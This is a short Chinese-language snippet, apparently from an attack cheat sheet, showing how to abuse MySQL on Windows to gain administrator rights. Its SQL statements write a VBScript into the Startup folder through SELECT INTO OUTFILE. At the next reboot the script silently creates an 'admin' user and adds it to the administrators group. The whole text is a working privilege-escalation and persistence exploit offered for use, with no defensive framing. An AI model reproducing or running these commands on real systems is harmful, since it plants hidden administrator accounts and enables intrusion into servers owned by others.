MySql添加管理员，需重启：

create table a (cmd text);

insert into a values (“set wshshell=createobject (“”wscript.shell””)”);

insert into a values (“a=wshshell.run (“”cmd.exe /c net user admin admin /add””,0)”);

insert into a values (“b=wshshell.run (“”cmd.exe /c net localgroup administrators admin /add””,0)”);

select * from a into outfile “C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs”;